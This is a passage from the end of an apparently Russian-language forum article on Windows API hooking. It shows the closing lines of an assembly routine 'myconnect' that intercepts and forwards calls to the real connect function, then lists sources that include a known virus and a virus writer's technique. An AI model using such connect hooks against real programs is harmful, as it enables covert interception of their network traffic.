  21.              dec             eax
  22.              jmp             _ret
  23. good_program:popad
  24.              call             [realconnect],a,b,c
  25. _ret:        ret
  26. myconnect    endp
  27.  

Источники

  1. Radim "EliCZ" Picha - www.EliCZ.cjb.net.
  2. LUEVELSMEYER. "The PE file format".
  3. Jeffrey Richter. "Programming Applications for Microsoft Windows". ISBN 1-57231-996-8.
  4. Jacky Qwerty. Win32.Cabanas (вирус).
  5. Vecna - технология записи выше 2Gb в w9x.
© 90210 / HI-TECH

0 1.688
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532